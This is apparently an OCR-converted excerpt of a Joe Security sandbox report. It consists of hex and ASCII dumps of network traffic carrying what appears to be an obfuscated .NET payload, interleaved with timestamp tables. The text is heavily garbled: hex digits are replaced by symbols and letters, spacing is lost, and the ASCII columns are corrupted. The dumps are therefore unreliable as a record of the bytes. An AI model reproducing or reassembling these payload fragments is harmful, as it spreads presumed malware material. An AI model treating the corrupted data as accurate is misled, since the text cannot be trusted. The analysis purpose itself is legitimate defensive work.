7174 d0 ce 05 ee d2 cc 8d 35 f9 58 aa 5e e6 de el f6 08 b0 c4 b9 6e 00 1c e8 aa e8 63 8e 86 fd e3 de 63 02 44 ab 26 7f
al f6 f1 0e 52 47 23 53 7b 09 97 8¢ bb 81 bf d7 3a 5a 7e 8e al 8a 8d 73 46 €9 29 14 fb d1 6f a4 76 85 00 98 d8 02 bc bd
15 5f 39 10 77 Of f1 7a a4 2b df 5b f8 09 06 46 fb 90 c2 73 1b c8 f6 03 b8 d2 4c 9e 6f 4c 4e a3 9e 42 2e 6d 8d a7 8a Ob 56
82 91 3 f5 f6 44 90 b3 25 d2 1f 68 a7 f3 Oa fe 5a

Data Ascii: ]'RaP*;wr3BsQtC/;s>3!LG6bGayyjj_-'SOkM,adqt5X*nccD&RG#S{:Z~sF)ov_9wz+[FsLoLNB.mVD%hZ

Data Raw: b9 80 12 01 02 00 09 fc 90 12 06 04 f8 90 12 b5 80 12 6d 12 02 00 Oa b5 80 12 6d 12 01 20 07 f8 90 12 06 04
f4 90 12 70 84 12 15 83 11 02 00 Ob 70 84 12 15 83 11 01 20 08 f4 90 12 06 04 f0 90 12 10 84 12 1c 01 03 00 Oa 10 84
12 1c 01 02 20 07 f0 90 12 06 04 ec 90 12 1c 1c 68 84 12 1c 04 00 Ob 1c 1c 68 84 12 1c 03 20 08 ec 90 12 06 04 e8 90
12 6¢c 84 1210 84 12 01 03 00 Oc 6¢ 84 12 10 84 12 01 02 20 09 €8 90 12 06 04 e4 90 12 70 84 12 cc 85 11 1c 1c 01 05
00 Oe e4 90 12 06 04 €0 90 12 1c 70 84 12 02 00 09 €0 90 12 06 04 dc 90 12 b9 80 12 b9 80 12 01 03 00 Oc b9 80 12 b9
80 12 01 02 20 09 dc 90 12 06 04 d8 90 12 1c 02 02 00 07 d8 90 12 06 04 d4 90 12 1c 1c €8 84 12 03 00 Oa 1c 1c e8 84
12 02 20 07 d4 90 12 06 04 d0 90 12 70 84 12 1c b5 80 12 1c 1c 05 00 Oe

Data Ascii: mm pp hhllpp p

Data Raw: 05 ¢5 80 11 01 02 20 07 05 ¢5 80 11 1c 01 03 00 08 0a c5 80 11 01 02 20 07 Oa c5 80 11 1c 01 03 00 08 0d c5
8011 01 02 20 07 0d ¢5 80 11 1c 01 03 00 08 Oc ¢5 80 11 01 02 20 07 Oc c5 80 11 1c 01 03 00 08 €0 85 12 00 00 05 45
831202 01 20 06 e8 85 11 00 20 05 08 06 08 05 1d 04 07 07 05 83 11 01 01 20 06 08 08 1d 02 07 05 01 83 11 01 01 20
06 02 0c 84 11 01 02 20 07 b9 80 12 Oc 84 11 08 03 07 09 f4 85 12 f4 85 12 01 02 20 09 02 f4 85 12 01 02 20 07 f4 85 12
198112 0120 08 0d 84 11 1d c5 80 11 01 02 20 0a 08 08 dc 85 11 08 08 08 08 08 0d 84 11 1d 08 0d 84 11 1d 08 08 08
f4 851208 0d 84 11 1d 11 07 20 dc 85 11 1d 01 01 20 07 ¢5 80 11 08 02 07 06 02 dc 85 11 01 02 20 07 08 c5 80 11 02
07 06 02 b9 80 12 f4 85 12 01 03 20 Oa f4 85 12 02 01 20 06 08 c1 80

Data Ascii: E

Data Raw: 06 1c dd 81 12 64 83 11 10 70 83 11 10 48 81 11 18 10 d9 81 12 06 20 16 64 83 11 10 70 83 11 10 48 81 11
181040110420 11 09 09 18 10 18 18 10 18 40 11 06 20 Oc 1c dd 81 12 18 18 18 18 18 09 18 d9 81 12 09 20 10 18 18
18 18 18 09 18 02 07 20 Oa 1c dd 81 12 18 18 d9 81 12 04 20 Ob 18 18 40 11 02 20 06 d9 81 12 64 83 11 10 70 83 11 10
181040110420 11 1cdd 811264 8311107083 11 1054 81 11 18 10d9 81 12 06 20 16 64 83 11 10 70 83 11 10 54
811118104011 04 20 11 18 40 11 01 20 05 08 18 02 02 20 05 d9 81 12 68 83 11 10 18 02 20 Oa 1c dd 81 12 68 83 11
1018 09 18 d9 81 12 06 20 10 68 83 11 10 18 09 18 18 04 20 0a d9 81 12 09 10 Ob 10 18 10 40 11 04 20 0d 1c dd 81 12
09 09 09 09 10 0b 10 19 19 18 10 18 18 d9 81 12 Oc 20 16 09 09 09 09 10 Ob

Data Ascii: dpH dpH@ @ @ dp@ dpTdpT@ @ hhh @

Data Raw: 64 37 39 64 76 00 68 6e 36 4c 55 31 37 32 66 79 00 47 4d 56 69 39 73 37 39 44 50 00 79 42 33 6d 78 52 37
34 4854 00 64 78 42 6f 50 4e 37 64 52 7a 00 62 4f 47 45 76 4a 37 56 63 6b 00 4d 5a 75 62 73 33 37 39 4f 73 00 64 34
3379 46 46 37 4b 43 6e 00 42 6¢ 6f 36 69 71 37 50 56 4f 00 67 45 63 41 33 44 37 50 5a 67 00 73 6¢ 55 63 73 56 37 53 6f
49 00 75 46 4e 45 37 4b 37 55 72 66 00 4f 57 51 62 34 34 37 54 79 61 00 61 34 69 49 79 6e 37 76 55 68 00 36 48 49 35
326237 6178 6e 00 61 78 34 52 63 70 37 66 58 63 00 72 68 49 64 4b 6¢ 37 6b 4f 46 00 56 56 30 78 38 6a 37 45 4f 78
00 42 35 69 57 54 77 37 55 59 49 00 54 4d 33 65 59 42 37 43 52 56 00 38 70 56 44 71 38 37 32 41 72 00 65 47 52 70 74
75 37 66 59 4f 00 55 32 53 39 34 55 37 4e 72 72 00 51 4b 4c 66 45 4d 37

Data Ascii: d79dvhn6LU172fyGMVi9s79DPyB3mxR74HTdxBoPN7dRzbOGEVJ7VckMZubs3790sd43yFF7KCnBlo
6iq7PVOQgECA3D7PZgslUcsV7SoluFNE7K7UrfOWQb447Tyaadilyn7vUh6HI52b7axnax4Rep7fXcrhldKI7TKOFVVO
x8j7EOXB5IWTwW7UYITM3eYB7CRV8pVDq872AreGRptu7fYOU2S94U7NrrQKLIEM7

Data Raw: 63 4e 44 5a 45 6d 5a 66 61 55 57 43 74 5a 75 48 62 52 6¢ 00 55 72 59 30 75 6a 41 42 75 4e 69 38 43 74 48
6b 6d 38 71 77 00 77 4c 47 4d 47 56 77 61 73 62 54 61 43 74 67 72 78 61 5a 67 00 49 37 41 52 4f 38 6e 5a 61 6e 67 75
43 74 55 4¢ 55 37 36 78 00 59 52 56 6b 46 47 69 58 35 52 64 30 43 74 57 5a 79 52 39 70 00 36 6d 38 76 6b 36 48 49 48
49 34 55 43 74 4d 43 73 47 4f 46 00 31 75 37 4d 32 4d 4a 4e 57 48 6e 79 43 74 46 49 75 41 34 47 00 46 54 6b 65 64 6b
4b 67 54 54 6d 4d 43 74 44 76 71 73 48 44 00 6d 58 31 62 33 68 43 56 67 33 34 69 43 74 31 68 4a 53 39 4d 00 54 69 34
41 30 77 53 69 31 68 58 74 43 74 43 50 67 56 44 72 00 62 47 63 65 73 59 32 79 68 44 70 76 43 74 46 45 31 57 54 75 00
56 34 76 71 45 78 39 42 78 75 62 7a 56 74 48 6d 6e 59 4b 4c 00 5a 59 42 5a

Data Ascii: cNDZEmZfaUWCtZuHbRIUrYOujABuNi8CtHkm8gwwLGMGVwasbTaCtgrxaZgl7ARO8nZanguCtULU76
XYRVKFGiX5RdOCtWZyR9p6m8vk6HIHI4UCtMCsGOF1u7M2MINWHNYCtFIuA4GFTkedkKgTTmMCtDvgsH
DmX1b3hCVg34iCt1hJSIMTi4A0WSi1hXtCtCPgVDrbGeesY2yhDpvCtFEIWTuV4vgEx9BxubzVtHMNYKLZYBZ

Data Raw: 6d 32 5a 4b 50 4c 35 75 78 4a 48 74 4c 63 58 4c 63 51 00 31 45 6f 4c 77 78 61 30 4e 39 74 63 48 74 51 63 46
4a 4b 68 00 68 65 63 6¢ 65 71 6b 6e 4c 4b 33 33 48 74 31 78 5a 37 35 4b 00 6a 58 48 69 5a 50 6e 49 74 35 56 35 48 74
4539737159 630069 617377 7457 38 4b 36 62 55 46 48 74 5a 44 41 70 4a 72 00 4c 43 79 55 63 45 62 51 43 33 66
6b 48 74 57 4c 4b 6f 55 63 00 41 61 50 79 30 64 53 42 33 46 42 71 48 74 66 41 30 76 37 55 00 72 4f 59 75 65 6b 6¢ 79 3
7596478487478 4b 71 48 4f 68 00 72 45 4d 67 4a 4c 52 70 6¢ 75 37 44 48 74 58 47 55 4a 48 42 00 6d 33 6f 79 74 39
37 4d 31 62 53 43 48 74 31 59 59 36 4d 6¢ 00 53 62 68 67 77 65 58 41 68 42 54 56 48 74 66 42 4b 66 71 6a 00 37 4d 67
3836 71 4d 78 67 4f 53 4c 48 74 31 41 64 51 30 64 00 33 77 30 6¢ 51

Data Ascii: m2ZKPL5uxJHtLcXLcQ1EoLwxaON9tcHtQcFJIKhheclegknLK33Ht1xZ 75K XHiZPnlIt5V5HtE9sqY ciaswtW8K6h
UFHtZDApJrLCyUcEbQC3fkHtWLKoUcAaPy0dSB3FBgHtfAOV7UrOYuekly7YdxHtxKqgHOhrEMgJLRplu7DHtXGUJHB
m30yt97M1bSCHt1YY6MISbhgweXAhBTVHtBKfqj7Mg86qMxgOSLHt1AdQ0d3w0IQ

Data Raw: 5a 33 53 55 63 68 61 50 48 71 50 74 35 33 39 56 73 68 00 36 64 31 32 45 4c 62 34 49 6b 36 78 50 74 32 4e
65 68 6e 64 00 61 6f 33 74 4d 57 51 69 6d 71 6a 44 50 74 6b 53 58 56 61 78 00 67 78 50 64 42 75 39 6¢ 39 69 4f 43 50
74 52 53 54 50 6e 7a 00 73 64 6f 68 74 65 4d 74 65 47 00 6e 6f 69 74 69 6e 69 66 65 44 64 6f 68 74 65 4d 63 69 72 65 6
e 65 47 73 49 5f 74 65 67 00 65 63 61 66 72 65 74 6e 49 73 49 5f 74 65 67 00 64 6f 68 74 65 4d 63 69 72 65 6e 65 47 65
6b 61 4d 00 65 63 61 70 73 65 6d 61 4e 5f 74 65 67 00 65 6¢ 62 61 74 75 6d 6d 49 79 66 69 74 6e 65 64 49 00 73 74 6e
65 6d 75 67 72 41 63 69 72 65 6e 65 47 74 65 47 00 65 70 79 54 63 69 72 65 6e 65 47 73 49 5f 74 65 67 00 46 37 4f 36
62 36 30 4f 50 53 00 73 65 63 61 66 72 65 74 6€ 49 74 65 47 00 70 75 50

Data Ascii: Z3SUchaPHqgPt539Vsh6d12ELb4lk6xPt2Nehndao3tMWQimgjDPtkSXVaxgxPdBu9I9iOCPtRSTPnz
sdohteMteGnoitinifeDdohteMcireneGsl_tegecafretnls|_tegdohteMcireneGekaMecapsemaN_tegelbatummlyfitned
IstnemugrAcireneGteGepyTcireneGsl_tegF706b600PSsecafretnlteGpuP

Data Raw: 73 55 49 35 58 68 6b 34 42 74 49 6b 50 54 33 6d 00 53 78 46 6d 71 41 71 36 78 54 4e 59 42 74 75 37 35 31
63 79 00 4e 36 63 66 6f 6f 38 56 77 38 45 6e 42 74 71 57 6e 76 70 53 00 66 48 74 42 4f 34 47 35 68 4b 65 48 42 74 6e
58 57 62 42 49 00 55 32 72 58 53 4b 56 46 52 73 51 62 42 74 57 49 41 4a 58 47 00 59 63 75 47 38 64 65 44 75 6d 74 32
42 74 6d 52 35 62 64 4f 00 5a 45 73 61 74 77 79 6b 58 31 56 70 42 74 72 51 74 50 51 59 00 4c 32 6¢ 75 38 49 6b 65 50
6f 6¢ 39 42 74 43 6¢ 71 55 43 6b 00 56 6e 41 36 31 4a 42 6a 44 75 78 6¢ 42 74 75 47 53 69 51 47 00 44 44 39 59 74 51
56 42 6¢ 66 57 50 42 74 35 31 75 51 6b 55 00 74 65 67 72 61 54 5f 74 65 67 00 74 55 4f 48 39 59 67 56 36 38 54 50 59
74 4e 43 6d 5a 46 43 00 6f 63 69 4d 58 4a 42 75 6f 33 4d 6a 59 74 42 6¢ 75

Data Ascii: sUI5Xhk4BtIkPT3mSxFmgAg6xTNY Btu751cyN6cfoo8VwWBENBtqWnvpSfHIBO4G5hKeHBtnXWbBIU2
rXSKVFRsQbBtWIAIXGYcuG8deDumt2BtmR5bdOZEsatwykX1VpBtrQtPQY L2lu8lkePol9BtClqUCkVnA61JBjDux|
BtuGSiQGDD9YtQVBIfWPBt51uQkUtegraT_tegtUOH9YgV68TPYtNCmZFCociMXJBuo3M;jYBlu
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kBytes

Timestamp A Direction
2022-05-23 16:46:57 UTC 543 IN
2022-05-23 16:46:57 UTC 559 IN
2022-05-23 16:46:57 UTC 575 IN
2022-05-23 16:46:57 UTC 591 IN
2022-05-23 16:46:57 UTC 607 IN
2022-05-23 16:46:57 UTC 623 IN
2022-05-23 16:46:57 UTC 639 IN
2022-05-23 16:46:57 UTC 655 IN
2022-05-23 16:46:57 UTC 671 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 34 56 4b 4d 44 74 44 38 4c 00 48 6e 48 6a 46 66 6f 59 51 43 72 57 74 74 6e 71 43 45 71 58 00 6d 6f 72 46 64
61 6f 4c 00 52 48 6a 4d 52 35 69 36 51 44 34 38 74 74 77 68 4e 45 6a 54 00 42 44 64 53 4a 45 68 63 33 42 48 61 74 74
4a 4b 6d 58 30 4b 00 74 33 48 77 45 76 73 6¢ 6a 77 48 75 74 74 69 45 70 6e 30 43 00 42 4f 70 45 4c 72 70 42 79 52 66
3074 74 77 61 74 31 32 4b 00 43 30 38 6¢ 44 55 78 45 35 45 66 55 74 74 62 50 74 76 48 7a 00 67 6e 69 72 74 53 34 36
65 73 61 42 6f 54 00 38 72 45 6e 5a 45 55 45 6f 64 71 79 74 74 53 49 49 47 72 68 00 58 74 70 66 45 4e 37 4e 54 4b 45
4d 74 74 34 4d 70 74 39 41 00 74 6e 61 69 72 61 76 6e 49 72 65 70 70 55 6f 54 00 43 76 6f 55 46 69 32 4b 67 32 39 69
74 74 61 59 5a 4f 6b 49 00 57 4c 43 6f 4a 43 38 76 32 48 4b 74 74 74 4c

Data Ascii: 4VKMDtD8LHnHjFfoYQCrWttngCEgXmorFdaoLRHjMR5i6QD48ttwhNEjTBDdSJEhc3BHattJKmXO0Kt
3HwEVvsljwHuttiEpnOCBOpELrpByRf0Ottwat12KC08IDUXE5EfUttbPtvHzgnirtS46esaBoT8rEnZEUEodqyttSIIGrhXtpfEN7
NTKEMtt4Mpt9AtnairavnireppUoTCvoUFi2Kg29ittaY ZOkIWLCoJC8v2HKittL

Data Raw: 44 77 6b 42 78 73 00 30 33 43 38 4d 4c 4c 4e 68 51 69 50 4f 49 63 4b 77 42 74 00 46 47 67 30 6¢ 33 4a 50 58
54 31 66 4f 45 4b 71 42 4c 64 00 44 42 4c 6e 46 30 53 6f 4a 62 62 65 4f 4a 32 55 6d 77 77 00 70 36 39 53 48 64 38 5a 39
7777 57 4f 6b 42 6e 45 5a 52 00 6d 66 46 4a 5a 4b 4f 6f 37 4e 4d 61 4f 61 79 67 70 49 58 00 62 44 54 50 37 54 33 76 55
59 4a 30 4f 313241 77 72 72 00 61 34 69 4f 68 71 41 76 5a 66 65 79 4f 5a 4f 6e 58 61 50 00 4e 33 4c 72 56 63 59 45 39
61 55 69 4f 4e 6a 36 38 58 4d 00 49 43 57 6e 5a 4c 4f 33 52 36 6¢ 76 4f 6f 66 64 45 62 70 00 77 36 6¢ 6a 61 49 42 6¢ 62
6d 53 68 58 45 5a 5a 75 56 57 00 69 70 75 4d 78 53 66 36 35 6f 5a 41 58 43 66 54 66 47 7a 00 65 53 4b 31 47 56 54 79
66 68 6b 58 58 75 52 76 70 75 75 00 53 51 66 66 74 59 63 72

Data Ascii: DWkBxs03C8MLLNhQiPOIcKwWBtFGgO0I3JPXT1fOEKgBLdDBLNFO0S0JbbeOJ2Umwwp69SHA8ZIwwWOKB
NEZRmfFIZKOo7NMaOaygpIXbDTP7T3vUYJ0012AwrradiOhgAvZfeyOZOnXaPN3LrVcYE9aUiONj68XMICWnZLO3R6
IvOofdEbpwéljalBIbomShXEZZuVWipuMxSf650ZAXCITIGze SK1GVTyfhkXXuRvpuuSQfftYcr

Data Raw: 63 6e 00 43 6f 52 4a 37 69 36 4f 51 58 39 6d 43 6¢ 5a 34 6d 33 6f 00 47 33 6d 77 4f 57 76 64 6d 65 73 47 43
79 68 52 6d 62 58 00 36 64 58 66 57 39 73 6d 4e 6¢ 6b 37 43 66 68 4d 6d 34 4d 00 47 42 30 50 6a 36 55 53 76 43 39 49
43 30 70 32 6f 44 62 00 66 78 39 51 52 30 51 36 56 71 42 36 43 4c 51 62 75 38 47 00 31 68 4c 57 64 36 4e 56 75 69 62
53 43 6d 54 4a 75 6a 46 00 44 70 79 67 71 65 68 6d 5a 4d 59 67 43 4c 54 44 73 44 53 00 72 73 5a 6¢ 49 59 74 38 6b 65
6a 63 43 71 43 48 64 6d 4d 00 44 65 51 78 52 52 42 44 79 4c 75 35 43 41 39 58 59 44 4¢ 00 67 66 72 6a 54 56 56 67 4c
61 69 6b 43 33 64 59 4e 71 70 00 61 4f 62 32 77 6b 6a 6f 50 41 4f 78 43 49 6f 4d 49 5a 53 00 37 49 6f 62 39 6e 59 72 4d
57 4e 43 43 41 72 66 56 66 47 00 64 5a 59 73 36 46 50 56 32 76 4c 4c

Data Ascii: cnCoRJ7i60QX9mCIZ4m30G3mwOWvdmesGCyhRmbX6dXfW9smNIk7CthMm4MGBOPj6USvC9ICOp20Db
fx9QROQ6VaB6CLQbUBG1hLWdAENVUibSCmTJIujFDpyggehmZMYgCLTDsDSrsZIlYt8kejcCqCHdmMMDeQxRRBDyLU5CA
9XYDLgfrjTVVgLaikC3dYNgpaOb2wkjoPAOXCloMIZS71ob9nYrMWNCCAVIGAZYs6FPV2vLL

Data Raw: Od 4f 00 02 01 df 0d 43 00 02 01 dd 0d 41 00 02 01 db 0d 3f 00 01 01 db 0d 3e 00 02 01 d9 0d 35 00 02 01 d7
0d 2d 00 02 01 d7 0d 2e 00 01 01 d5 0d 2c 00 01 01 d5 Od 2b 00 02 01 d3 0d 2a 00 01 01 d3 0d 29 00 02 01 d1 0d 28 00
01 01 d1 0d 27 00 02 01 cf 0d 25 00 02 01 cf 0d 26 00 01 01 cd 0d 24 00 01 01 cd Od 23 00 02 01 cb 0d 21 00 02 01 cb
0d 22 00 01 01 c9 Oc c2 00 01 01 c9 Oc ¢1 00 02 01 ¢7 Oc aa 00 01 01 ¢7 Oc a9 00 02 01 c5 Oc a8 00 01 01 ¢5 Oc a7 00 O
201 ¢30c 9d 00 02 01 c1 Oc 95 00 02 01 bf Oc 93 00 01 01 bf Oc 92 00 02 01 bd Oc 91 00 01 01 bd Oc 90 00 02 01 bb Oc
8f 00 01 01 bb Oc 8e 00 02 01 b9 Oc 8¢ 00 02 01 b9 Oc 8d 00 01 01 b7 Oc 8b 00 01 01 b7 Oc 8a 00 02 01 b5 Oc 89 00 01
01 b5 Oc 88 00 02 01 b3 Oc 7e 00 02 01 b1 Oc 7c 00 02 01 af Oc 3d 00

Data Ascii: OCA?>5-.,+*)('%&$#!"~|=

Data Raw: 01 cc 00 e2 00 00 00 48 00 00 00 f9 38 e5 00 01 07 8b 00 00 06 b1 03 f3 00 01 61 0a 00 00 00 d9 5b 5f 00 01
60 ec 00 00 02 c9 5b 3¢ 00 00 74 91 00 00 01 81 04 e1 00 00 76 a8 00 00 08 39 5b 2b 00 01 5f da 00 00 01 39 5b 22 00
01 5f 99 00 00 01 39 00 b0 00 01 5f 7f 00 00 01 29 5b 12 00 00 74 cc 00 00 01 29 00 b0 00 01 00 7 00 00 01 41 10 ea 00
01 5f Le 00 00 03 49 5b Oc 00 01 5e d7 00 00 06 09 5a f6 00 01 5e 82 00 00 01 c1 3d b4 00 00 b4 ae 00 00 00 19 5a €0
00 01 5d a1 00 00 07 f9 04 e1 00 00 76 a8 00 00 07 f9 5a d1 00 00 75 83 00 00 01 bc 5a 07 00 01 5a d6 00 00 03 01 59 ff
00 00 a8 ff 00 00 03 01 59 b0 00 00 00 48 00 00 01 51 59 73 00 01 59 06 00 00 01 71 59 66 00 00 75 3a 00 00 01 31 59 3
800 00 75 ¢3 00 00 01 39 04 04 00 01 5a 32 00 00 01 91 58 f3 00

Data Ascii: H8a[_[<tvO[+_9["_9_)[)A_I["Z =Z]vZuZZYYHQYsYqYfu:1Y8u9Z2X

Data Raw: 00 02 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 02 00
00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 03 00 00 00 00 70 ec 00 02
00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 03 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00
02 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec
00 01 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 01 00 00 00 00 70
ec 00 02 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 03 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 03 00 00 00 00
70 ec 00 02 00 00 00 00 70 ec 00 03 00 00 00 00 70 ec 00 02 00 00 00 00 70

Data Ascii: ppppPPPPPPPPPPPPPPPPPPPPPPPPPPPP

Data Raw: 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00
00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01
00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00
02 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec
00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70
ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00
70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70

Data Ascii: ppppPPPPPPPPPPPPPPPPPPPPPPPPPPPP

Data Raw: 00 01 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01 00
00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 01
00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00 03 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 01 00 00 00 00 70 ec 00
03 10 10 00 00 70 ec 00 02 00 00 00 00 70 ec 00 01 00 00 00 01 11 Oe 00 03 00 00 00 00 9 6a 00 02 00 00 00 00 76 7a
00 01 00 00 00 00 9 6a 00 02 00 00 00 00 76 7a 00 01 00 00 00 01 11 8b 00 03 00 00 00 00 9 6a 00 02 00 00 00 00 f5
44,00 01 00 00 00 00 70 ec 00 01 00 00 00 00 €9 6a 00 02 00 00 00 00 f5 44 00 01 00 00 00 00 70 ec 00 02 00 00 00 00
70 ec 00 01 00 00 00 00 70 ec 00 02 00 00 00 00 70 ec 00 01 00 00 00 00 €9

Data Ascii: pppPPPPPPPPPPPPRIVZIVZIDRIDPPPP

Data Raw: 00 01 ca bb 00 16 00 00 00 Ob 7f a8 1b 91 c8 Oe 00 00 75 83 00 46 00 03 00 00 00 00 1b 91 02 d4 00 00 70 38
1810 00 00 00 Ob 7f 94 1b 91 Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 1b 90 cc 7f 00 01 ca bb 00 16 00 00 00 Ob 7f 80
1b 8f c8 Oe 00 00 75 83 00 46 00 03 00 00 00 00 1b 8f 02 d4 00 00 70 38 18 10 00 00 00 Ob 7f 6¢ 1b 8f Oe 4f 00 00 00 48
18 06 00 03 00 00 00 00 1b 8f cc 70 00 01 ca bb 00 16 00 00 00 Ob 7f 58 1b 8f c7 de 00 00 75 83 00 46 00 03 00 00 00 00
1b 8f 02 d4 00 00 70 38 18 10 00 00 00 Ob 7f 44 1b 8f Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 1b 8e cc 5e 00 01 ca bb
00 16 00 00 00 Ob 7f 30 1b 8d c8 Oe 00 00 75 83 00 46 00 03 00 00 00 00 1b 8d 02 d4 00 00 70 38 18 10 00 00 00 Ob 7f
1c 1b 8d Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 1b 8c cc

Data Ascii: uFp80OHuFp8IOHpXuFp8DOH"OuFp8OH
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Timestamp transferred Direction
2022-05-23 16:46:57 UTC 687 IN
2022-05-23 16:46:57 UTC 700 IN
2022-05-23 16:46:57 UTC 716 IN
2022-05-23 16:46:57 UTC 732 IN
2022-05-23 16:46:57 UTC 748 IN
2022-05-23 16:46:57 UTC 764 IN
2022-05-23 16:46:57 UTC 780 IN
2022-05-23 16:46:57 UTC 796 IN
2022-05-23 16:46:57 UTC 812 IN
2022-05-23 16:46:57 UTC 828 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 00 01 ca bb 00 16 00 00 00 Ob 55 90 18 e9 33 34 00 00 75 83 00 46 00 03 00 00 00 00 18 €9 02 d4 00 00 70
381810 00 00 00 Ob 55 7c 18 €9 Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 18 €9 b8 1c 00 01 ca bb 00 16 00 00 00 Ob
55 68 18 9 33 34 00 00 75 83 00 46 00 03 00 00 00 00 18 e9 02 d4 00 00 70 38 18 10 00 00 00 Ob 55 54 18 €9 Oe 4f 00
00 00 48 18 06 00 03 00 00 00 00 18 e8 b8 Oe 00 01 ca bb 00 16 00 00 00 Ob 55 40 18 e7 ab bd 00 00 75 83 00 46 00 03
00 00 00 00 18 e7 02 d4 00 00 70 38 18 10 00 00 00 Ob 55 2c 18 e7 Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 18 e6 b7
fc 00 01 ca bb 00 16 00 00 00 Ob 55 18 18 e5 a5 16 00 00 75 83 00 46 00 03 00 00 00 00 18 e5 02 d4 00 00 70 38 18 10
00 00 00 Ob 55 04 18 e5 Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 18 e4 b7

Data Ascii: U34uFp8U|OHUh34uFp8UTOHU@uFp8U,OHUuFp8UOH

Data Raw: 38 18 10 00 00 00 Ob 35 c8 17 2d Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 17 2c a8 e9 00 01 ca bb 00 16 00
0000 Ob 35 b4 17 2b 4b 92 00 00 75 83 00 46 00 03 00 00 00 00 17 2b 02 d4 00 00 70 38 18 10 00 00 00 Ob 35 a0 17 2b
Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 17 28 a8 d8 00 01 ca bb 00 16 00 00 00 Ob 35 88 17 25 a8 cf 00 00 75 83 00
46 00 03 00 00 00 00 17 25 02 d4 00 00 70 38 18 10 00 00 00 Ob 35 74 17 25 Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00
17 25 a8 c0 00 01 ca bb 00 16 00 00 00 Ob 35 60 17 25 96 de 00 00 75 83 00 46 00 03 00 00 00 00 17 25 02 d4 00 00 70
38 18 10 00 00 00 Ob 35 4c 17 25 Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 17 25 a8 b1 00 01 ca bb 00 16 00 00 00 Ob
3538 17 25 96 de 00 00 75 83 00 46 00 03 00 00 00 00 17 25 02 d4 00 00

Data Ascii: 85-OH,5+KuF+p85+0H(5%uF%p85t%0OH%5 %uF%p85L %0OH%58%uF%

Data Raw: 38 18 10 00 00 00 Ob Oc 00 14 15 Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 14 15 91 ed 00 01 ca bb 00 16 00
0000 Ob Ob ec 14 15 33 34 00 00 75 83 00 46 00 03 00 00 00 00 14 15 02 d4 00 00 70 38 18 10 00 00 00 Ob Ob d8 14 15
0Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 14 15 91 de 00 01 ca bb 00 16 00 00 00 Ob Ob c4 14 15 86 db 00 00 75 83 00
46 00 03 00 00 00 00 14 15 02 d4 00 00 70 38 18 10 00 00 00 Ob Ob b0 14 15 Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00
14 13 91 cc 00 01 ca bb 00 16 00 00 00 Ob Ob 9¢ 14 11 91 c¢2 00 00 75 83 00 46 00 03 00 00 00 00 14 11 02 d4 00 00 70
38 18 10 00 00 00 Ob Ob 88 14 11 Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 14 10 91 b2 00 01 ca bb 00 16 00 00 00 Ob
Ob 74 14 0f 91 aa 00 00 75 83 00 46 00 03 00 00 00 00 14 0f 02 d4 00 00

Data Ascii: 80H34uFp80OHUFp8OHUFp8OHtuF

Data Raw: 38 18 10 00 00 00 Oa e3 58 11 93 Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 11 93 7e 50 00 01 ca bb 00 16 00
00 00 Oa e3 44 11 93 7e 4b 00 00 75 83 00 46 00 03 00 00 00 00 11 93 02 d4 00 00 70 38 18 10 00 00 00 Oa e3 30 11 93
Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 11 93 7e 3f 00 01 ca bb 00 16 00 00 00 Oa €3 20 11 93 03 03 00 00 75 83 00
46 00 03 00 00 00 00 11 93 02 d4 00 00 70 38 18 10 00 00 00 Oa e3 Oc 11 93 Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00
